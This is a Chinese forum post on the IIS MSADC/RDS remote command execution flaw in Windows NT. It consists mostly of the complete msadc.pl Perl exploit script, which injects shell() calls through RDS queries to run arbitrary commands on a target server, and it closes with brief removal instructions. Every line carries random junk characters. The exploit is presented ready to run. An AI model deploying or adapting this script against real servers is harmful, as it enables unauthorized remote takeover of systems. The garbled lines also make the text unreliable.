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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) cJhf{{_oR  
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涉及程序: UIu'x_qc  
Microsoft NT server klx4Mvq+/@  
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描述: @lj  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Cw+ (,1  
4 bJ3uIP#  
详细: I&cb5j]C  
如果你没有时间读详细内容的话,就删除: t^7R6y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll y k#:.5H  
有关的安全问题就没有了。 @E==~ b  
~ib#x~Db  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 @L~y%#  
'17=1\Ss6;  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ~pF'Qw" z|  
关于利用ODBC远程漏洞的描述,请参看: o+tY[UX  
&bL1G(}  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "@f`O  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 4$|G$h  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp @*_K#3  
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这里不再论述。 Xpa;F$VI  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: AOfQqGf  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset k?";$C}#  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! -(59F  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" =_wgKXBFa  
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#!perl A2vOI8  
# d>aZpJ[.  
# MSADC/RDS 'usage' (aka exploit) script v\HGL56T  
# a1}W2;W0]g  
# by rain.forest.puppy Z>D7C?v:(  
# Al` ;SWN  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me PD$'xY|1=  
# beta test and find errors! |Jq/kmn  
>kB?C!\  
use Socket; use Getopt::Std; QUe.vb^O  
getopts("e:vd:h:XR", \%args); &R8zuD`#  
OE[/sv  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; zO+nEsf^O  
Z os~1N]3  
if (!defined $args{h} && !defined $args{R}) { )WFUAzuN,  
print qq~ \u)(+t{  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ("TI~  
-h <host> = host you want to scan (ip or domain) |FNP~5v  
-d <seconds> = delay between calls, default 1 second -\I0*L'$|\  
-X = dump Index Server path table, if available +fwq9I>L  
-v = verbose uj]GBo=  
-e = external dictionary file for step 5 ?Rwn1.Z  
F1+2V"~  
Or a -R will resume a command session * r%  
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~; exit;} U .rH,`  
bX9}G#+U  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; KcrF=cA  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} o/[NUQSI  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} g =%W"v  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); N2~z&y8.  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} *i\7dJ Dj  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } uUJ2d84tV  
Yw{](qG7e`  
if (!defined $args{R}){ $ret = &has_msadc; w5[POo' 5  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} w?/,LV  
 r>G$u  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" %_ z]iz4  
. "cmd /c "; fkI<RgM  
$in=<STDIN>; chomp $in; Zkz:h7GUG-  
$command="cmd /c " . $in ; @&~BGh  
mDq0 1fU4  
if (defined $args{R}) {&load; exit;} tL3(( W"  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Z2`e*c-[E  
&try_btcustmr; MJD4#G  
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print "\nStep 2: Trying to make our own DSN..."; :Ert57@l  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ~f@;.  
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print "\nStep 3: Trying known DSNs..."; )Q\;N C=4  
&known_dsn; rLVAI#ci=  
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print "\nStep 4: Trying known .mdbs..."; Lr+2L_/v`  
&known_mdb; 7f(UbO@BD  
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if (defined $args{e}){ ~+d]yeDrhx  
print "\nStep 5: Trying dictionary of DSN names..."; N@)g3mX>  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } dk.da&P  
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print "Sorry Charley...maybe next time?\n"; J LeV@NO  
exit; G%6wk=IH  
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############################################################################## a;lCr|*  
`=\G>#p<T  
sub sendraw { # ripped and modded from whisker ( {8Q=Gh  
sleep($delay); # it's a DoS on the server! At least on mine... 9~4Kbmr>q  
my ($pstr)=@_; 16] O^R;r  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || s$]I@;_  
die("Socket problems\n"); x:@e ID  
if(connect(S,pack "SnA4x8",2,80,$target)){ 1'g?B`  
select(S); $|=1; .N5"IY6>  
print $pstr; my @in=<S>; -Rf|p(SJ,E  
select(STDOUT); close(S); adxJA}K}  
return @in; bEy%S "\<  
} else { die("Can't connect...\n"); }} <n#JOjHV  
) wGC=,  
############################################################################## SC!IQ80H#D  
~svu0[Vx  
sub make_header { # make the HTTP request aN7u j  
my $msadc=<<EOT QF^An B  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 @ce4sSo  
User-Agent: ACTIVEDATA 0W>O,%z&P#  
Host: $ip k"n#4o:  
Content-Length: $clen \t1vYIY]T  
Connection: Keep-Alive Ig6s'^  
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ADCClientVersion:01.06 U} g%`<  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 omY?`(=  
D QZS%)  
--!ADM!ROX!YOUR!WORLD! !<~Ig/  
Content-Type: application/x-varg k4`v(au^  
Content-Length: $reqlen 9 np<r82  
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EOT gG $o8c-  
; $msadc=~s/\n/\r\n/g; R vY`9D  
return $msadc;} :q= XE$%H  
,= PDL  
############################################################################## Mc\lzq8\ 1  
&hF>}O  
sub make_req { # make the RDS request mg 3jm  
my ($switch, $p1, $p2)=@_; ~ PPGU1  
my $req=""; my $t1, $t2, $query, $dsn; '}}DPoV  
l@GpVdrv  
if ($switch==1){ # this is the btcustmr.mdb query q6,xsO,+  
$query="Select * from Customers where City=" . make_shell(); qItI):9U  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . %tu{`PN<  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} w%$n)7<*  
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elsif ($switch==2){ # this is general make table query sG}9l1  
$query="create table AZZ (B int, C varchar(10))"; O_:Q#  
$dsn="$p1";} 3 C[ ;2  
X)|%[aX}q  
elsif ($switch==3){ # this is general exploit table query o3`Z@-.G  
$query="select * from AZZ where C=" . make_shell(); q!7\`>.2:{  
$dsn="$p1";} ?/u&U\P  
x r=f9?%R  
elsif ($switch==4){ # attempt to hork file info from index server ;3-ssF}k*  
$query="select path from scope()"; TLkkB09fvk  
$dsn="Provider=MSIDXS;";} f8n'9HOw>  
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elsif ($switch==5){ # bad query g-]td8}#  
$query="select"; kiECJ@5p  
$dsn="$p1";} NR3IeTd  
)-sEm`(`I9  
$t1= make_unicode($query); vdo[qk\C  
$t2= make_unicode($dsn); \k* ]w_m-  
$req = "\x02\x00\x03\x00"; Pgo5&SQb  
$req.= "\x08\x00" . pack ("S1", length($t1)); PJ_|=bn  
$req.= "\x00\x00" . $t1 ; Vs"M Cqi  
$req.= "\x08\x00" . pack ("S1", length($t2)); a:8@:d1T K  
$req.= "\x00\x00" . $t2 ; 6s uc0  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; jG/kT5S  
return $req;} >B9rr0d0  
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############################################################################## LD5'4,%-  
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sub make_shell { # this makes the shell() statement Zdak))7  
return "'|shell(\"$command\")|'";} d#W[<,  
SrKF\h%/+  
############################################################################## QoW3*1o  
H1@"Yg8  
sub make_unicode { # quick little function to convert to unicode FJD*A`a  
my ($in)=@_; my $out; ,CdI.kV>o2  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } O-|3k$'\z  
return $out;} ~q9RZ#g13J  
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############################################################################## i0 R=P[  
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sub rdo_success { # checks for RDO return success (this is kludge) =];FojC6I  
my (@in) = @_; my $base=content_start(@in); 1H ZexV  
if($in[$base]=~/multipart\/mixed/){ j@:L MR>  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 4SOj>(a#  
return 0;} ]F_u  
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############################################################################## ql zL<  
K[9<a>D`  
sub make_dsn { # this makes a DSN for us  {<i!Pm  
my @drives=("c","d","e","f"); }Jc^p  
print "\nMaking DSN: "; CUtk4;^y#  
foreach $drive (@drives) { ?,!qh  
print "$drive: "; O=mJ8W@  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . i44`$ps  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" bv] ZUF0  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ;Rt,"W)  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; k4|YaGhf  
return 0 if $2 eq "404"; # not found/doesn't exist N0XGW_f  
if($2 eq "200") { XR+2|o  
foreach $line (@results) { 9*x9sfCv9  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} &Y,Rm78  
} return 0;} Z# :Ww  
@!Pq"/  
############################################################################## &A`QPk8n  
UOwj"#  
sub verify_exists { Y8N&[L[z&  
my ($page)=@_; Z<wg`  
my @results=sendraw("GET $page HTTP/1.0\n\n"); n b{8zo  
return $results[0];} yf$7<gwX  
fL@[B{XMM  
############################################################################## 4ASc`w*0  
t EN%mK  
sub try_btcustmr { Gh< r_O~L3  
my @drives=("c","d","e","f"); W[vak F  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [~;9Mi.XL  
U@*z#T#"m  
foreach $dir (@dirs) { "44X'G8N  
print "$dir -> "; # fun status so you can see progress DS^Q0 f  
foreach $drive (@drives) { `,|7X]%b  
print "$drive: "; # ditto 5H5< ft,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; dW=]|t&  
$reqlenlen=length( "$reqlen" ); %>s y`c  
$clen= 206 + $reqlenlen + $reqlen; ]02V,'x  
D]0#A|n F  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 7_|zMk.J*  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 1,/oS&?E  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} )i?wBxq'MA  
Tc qqAc   
############################################################################## Axcm~ !uf  
i\3`?d  
sub odbc_error {  R` N-^x  
my (@in)=@_; my $base; -W oZwqh  
my $base = content_start(@in); #\"5:.H Oz  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this mjw:Z,  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `fL$t0 "  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ms$kL'/  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sQ_{zOUPh  
return $in[$base+4].$in[$base+5].$in[$base+6];} 2#rF/!`^  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; TN0d fba[  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . avT>0b:  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} U_!6pqFc  
Z)ObFJMG5  
############################################################################## N#UyAm<9  
S |B7HS5  
sub verbose { >Rr]e`3wG  
my ($in)=@_; 0>AA-~=-  
return if !$verbose; eHv/3"Og  
print STDOUT "\n$in\n";} ^y?? pp<1J  
e06r5%|.%  
############################################################################## VJPt/Dy{  
Vdjca:`  
sub save { f6z[k_lLN  
my ($p1, $p2, $p3, $p4)=@_; Bp b_y;E  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; sqkPC_;A  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; K/08F|]a  
close OUT;} Xf.SJ8G  
zIlQqyOQ8  
############################################################################## 0R; ;ou  
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sub load { z,^baU  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; x&7!m  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  ]@<O!fS  
@p=<IN>; close(IN); Bq\%]2;eo{  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ? 1_*ct=g9  
$target= inet_aton($ip) || die("inet_aton problems"); khyV uWN  
print "Resuming to $ip ..."; BK-{z).)  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 2"13!s  
if($p[1]==1) { 'Yj/M  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; jirxzj  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; `M|fwlAJQ  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); X${k  
if (rdo_success(@results)){print "Success!\n";} `"    
else { print "failed\n"; verbose(odbc_error(@results));}} 9]|cs  
elsif ($p[1]==3){ @Gl=1  
if(run_query("$p[3]")){ <Nkj)`%5iK  
print "Success!\n";} else { print "failed\n"; }} T[c ;},  
elsif ($p[1]==4){ eO*FoN  
if(run_query($drvst . "$p[3]")){ cm-! 6'`  
print "Success!\n"; } else { print "failed\n"; }} 9V\5`QXu  
exit;} &6!x;RB  
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############################################################################## 8?ZK^+]y  
xC{W_a(  
sub create_table { rFGbp8(2  
my ($in)=@_; t.3b\RV[  
$reqlen=length( make_req(2,$in,"") ) - 28; k|&@xEbS  
$reqlenlen=length( "$reqlen" ); MvQ0"-ZQ  
$clen= 206 + $reqlenlen + $reqlen; 0b4QcfB1[  
my @results=sendraw(make_header() . make_req(2,$in,"")); X\uN:;?#W{  
return 1 if rdo_success(@results); _O)~<Sk-*z  
my $temp= odbc_error(@results); verbose($temp); QKe=/;  
return 1 if $temp=~/Table 'AZZ' already exists/; HD$W\P  
return 0;} 2x t 8F  
zs WYV n]  
############################################################################## f BukrPsV  
CGPPo;RjK  
sub known_dsn { Z?dz@d%C  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 7hQrL+%q8  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", =%p0r z|b  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", s:6H^DQ"C  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); )88z=5.  
3g)pLW  
foreach $dSn (@dsns) {   Lxs  
print "."; 6>zO"9  
next if (!is_access("DSN=$dSn")); Fq9AO~z  
if(create_table("DSN=$dSn")){  >.0B%  
print "$dSn successful\n"; M"1}"ex#  
if(run_query("DSN=$dSn")){ }c$Zlb  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [>v.#:YM^  
print "Something's borked. Use verbose next time\n";}}} print "\n";} E]i3E[T  
`!  
############################################################################## AYfW}V"  
7<=xc'*8t  
sub is_access { j$,:cN  
my ($in)=@_; Qv|A^%Ub!  
$reqlen=length( make_req(5,$in,"") ) - 28; 7$Jb"s  
$reqlenlen=length( "$reqlen" ); R8sj>.I9j  
$clen= 206 + $reqlenlen + $reqlen; 0M>+.}e+  
my @results=sendraw(make_header() . make_req(5,$in,"")); Ic P]EgB  
my $temp= odbc_error(@results); DFcgUEq  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); EH=[!iW;  
return 0;} X6kCYTJYF  
H)ud?vB6  
############################################################################## MQ7N8@!t  
,eW K~ pa  
sub run_query { srLXwoN[  
my ($in)=@_; F8S% \i  
$reqlen=length( make_req(3,$in,"") ) - 28; wa5wkuS)ld  
$reqlenlen=length( "$reqlen" ); -X3yCK?re  
$clen= 206 + $reqlenlen + $reqlen; `$Z:j;F  
my @results=sendraw(make_header() . make_req(3,$in,"")); WRe9ki=R  
return 1 if rdo_success(@results); % tTL  
my $temp= odbc_error(@results); verbose($temp); Q9Sh2qF^2  
return 0;} Y({&} \o  
xk7 MMRb  
############################################################################## [vrM,?X  
;=fOyg  
sub known_mdb { I<Wp,E9G#  
my @drives=("c","d","e","f","g"); Op0n.\>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); p(=}Qqdr8  
my $dir, $drive, $mdb; Cjc>0)f&.  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; +`}QIp0  
dG2k4 O  
# this is sparse, because I don't know of many Arc6d5Q  
my @sysmdbs=( "\\catroot\\icatalog.mdb", aA7}>  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", yS'W ss  
"\\system32\\certmdb.mdb", }>]V_}h  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% P%2aOsD0  
8iA[w-Pv  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 6#hDj_(,  
"\\cfusion\\cfapps\\forums\\forums_.mdb", IOhJL'r  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", UuPXo66F ]  
"\\cfusion\\cfapps\\security\\realm_.mdb", V"K-aO&  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", XYj!nx{k,  
"\\cfusion\\database\\cfexamples.mdb", ])`w_y(>  
"\\cfusion\\database\\cfsnippets.mdb", % Ya%R@b}  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", W8,4LxH  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", +N n $  
"\\cfusion\\brighttiger\\database\\cleam.mdb", lJb1{\|.,  
"\\cfusion\\database\\smpolicy.mdb", ;UUpkOQO(  
"\\cfusion\\database\cypress.mdb", 3Xcjr2]~  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", :{BD/6  
"\\website\\cgi-win\\dbsample.mdb", uGt}Hn  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Gj!9#on$7R  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" C.4r`F$p  
); #these are just rZ'&'#Q  
foreach $drive (@drives) { 4} .PQ{  
foreach $dir (@dirs){ /Z^"[Ke  
foreach $mdb (@sysmdbs) { [J{\Ke0<e1  
print "."; Bie#GKc  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ =>3wI'I  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; # 0kVhx7%  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Is&0h|  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 8z1#Q#5  
} else { print "Something's borked. Use verbose next time\n"; }}}}} WVZ](D8Gc]  
[`J91=  
foreach $drive (@drives) { lDsT?yHS`Z  
foreach $mdb (@mdbs) { nQ*9E|Vx  
print "."; O2{~Q{p  
if(create_table($drv . $drive . $dir . $mdb)){  ddK\q!0  
print "\n" . $drive . $dir . $mdb . " successful\n"; iq1HA.X(  
if(run_query($drv . $drive . $dir . $mdb)){ .bYZkO:oy  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; &X3G;x2;  
} else { print "Something's borked. Use verbose next time\n"; }}}} 2i0 .x  
} <fS WX>pR  
aW=c.Q.  
############################################################################## W>#[a %R  
# RoJD:9  
sub hork_idx { Eqizx~eqq  
print "\nAttempting to dump Index Server tables...\n"; L!;"73,&(8  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; r+:]lO  
$reqlen=length( make_req(4,"","") ) - 28; C GN=kQ  
$reqlenlen=length( "$reqlen" ); f |%II,!3  
$clen= 206 + $reqlenlen + $reqlen; $|"Y|3&X  
my @results=sendraw2(make_header() . make_req(4,"","")); c!0u,6  
if (rdo_success(@results)){ Ms=5*_J2Jk  
my $max=@results; my $c; my %d; _ ck)yY?7  
for($c=19; $c<$max; $c++){ /aTW X  
$results[$c]=~s/\x00//g; eR3v=Q  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; |VX )S!  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; atiyQuT6Wh  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; h*>%ou   
$d{"$1$2"}="";} /O[<"Wcz  
foreach $c (keys %d){ print "$c\n"; } \+M6R<Qw  
} else {print "Index server doesn't seem to be installed.\n"; }} o|kiwr}Y  
{'8td^JEE  
############################################################################## o%yfR.M6$  
!),eEy  
sub dsn_dict { v*";A  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ;NMv>1fI  
while(<IN>){ !MXn&&e1  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; LUs)"ZAi|  
next if (!is_access("DSN=$dSn")); /9pN.E  
if(create_table("DSN=$dSn")){ =fRC$  
print "$dSn successful\n"; ObPXVqG"?  
if(run_query("DSN=$dSn")){ &=^YN"=Z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { pKtN$Fd  
print "Something's borked. Use verbose next time\n";}}} J8'1 ~$6  
print "\n"; close(IN);} ?kIyo  
"hmLe(jo}  
############################################################################## '@/1e\-y  
-1{f(/  
sub sendraw2 { # ripped and modded from whisker 'Z*`~,Q  
sleep($delay); # it's a DoS on the server! At least on mine... +0ALO%G;G"  
my ($pstr)=@_; _`I}"`2H  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *z'v  
die("Socket problems\n"); WKAG)4  
if(connect(S,pack "SnA4x8",2,80,$target)){ T>hrKn.!D:  
print "Connected. Getting data"; aPdEEqc\l  
open(OUT,">raw.out"); my @in; {j6$'v)0  
select(S); $|=1; print $pstr; 3Ofh#|qc&  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} bey:Qj??  
close(OUT); select(STDOUT); close(S); return @in; -aq3Lqi  
} else { die("Can't connect...\n"); }} C547})  
q4ttmL8  
############################################################################## R-Ys<;  
Q7.jSL6  
sub content_start { # this will take in the server headers 2YDD`:R  
my (@in)=@_; my $c; x2,;ar\D  
for ($c=1;$c<500;$c++) { h2-v.Tjf  
if($in[$c] =~/^\x0d\x0a/){ }_Ci3|G>%D  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 7qSnP 30}  
else { return $c+1; }}} ;E_Go&Vd  
return -1;} # it should never get here actually " Tk,  
K0WX($z~;  
############################################################################## 0tz? sN  
/a*8z,x  
sub funky { .p =OAh<  
my (@in)=@_; my $error=odbc_error(@in); SBy{sbx4&F  
if($error=~/ADO could not find the specified provider/){ F EUfskv  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; AGl#f\_^  
exit;} /X]gm\x7s  
if($error=~/A Handler is required/){ s~QIs  
print "\nServer has custom handler filters (they most likely are patched)\n"; /Y=_EOS  
exit;} s3Wjhw/  
if($error=~/specified Handler has denied Access/){ j0=F__H#@  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9u)p9)^-.v  
exit;}} o~<jayqU  
Hu9nJ  
############################################################################## TMGYNb%<bX  
ihJ!]#Fbm  
sub has_msadc { ch2m Ei(  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); H&8~"h6n  
my $base=content_start(@results); `_f&T}]  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 8BrC@L2E0  
return 0;} Egz6rRCvg  
1Ys)b[:  
######################## \QQWhwE  
&xt[w>/i  
w~_ycY.e  
解决方案: 2 OV$M~  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll l{*m-u5&;  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 }3, 4B -8!  
 ?H!jKX  
拿出来充数 哈哈
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